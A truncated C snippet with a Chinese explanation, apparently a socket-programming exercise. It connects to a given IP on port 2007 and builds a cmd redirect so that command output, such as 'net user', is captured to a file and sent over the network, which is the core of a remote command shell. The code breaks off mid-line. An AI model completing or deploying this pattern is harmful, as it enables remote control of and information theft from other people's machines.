#define PORT 2007
#define MAXDATASIZE 1024 /* the max charectors recived */
void GL_logo()
{
printf("study sockets.\n");
}
int main(int argc, char *argv[])
{
LoadLibrary("msvcrt.dll");
int sockfd;
int num; //control the loop
struct sockaddr_in their_addr;
char Cmd[128]; //cmd buf which contens the command
char buf[MAXDATASIZE];
char cinf; //read file buffer size of which is char
system("cls");
GL_logo();
if (argc != 2)
{
printf(" Usage: %s ip\n",argv[0]);
exit(1);
}
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws); //init Windows Socket Dll
//connect to server
their_addr.sin_family = AF_INET; /* protol isINET*/
their_addr.sin_port = htons(PORT); /* connect to server ports*/
their_addr.sin_addr.s_addr = inet_addr(argv[1]); /* server IP*/
sprintf(buf,"%s > exeinf"....
----------------------------------------
这个是在构造cmd下的重定向命令
eg: net user > exeinf
使net user 命令的回显输入到exeinf文件中,然后将exeinf内容读入buffer最后再发送给客户端实现回显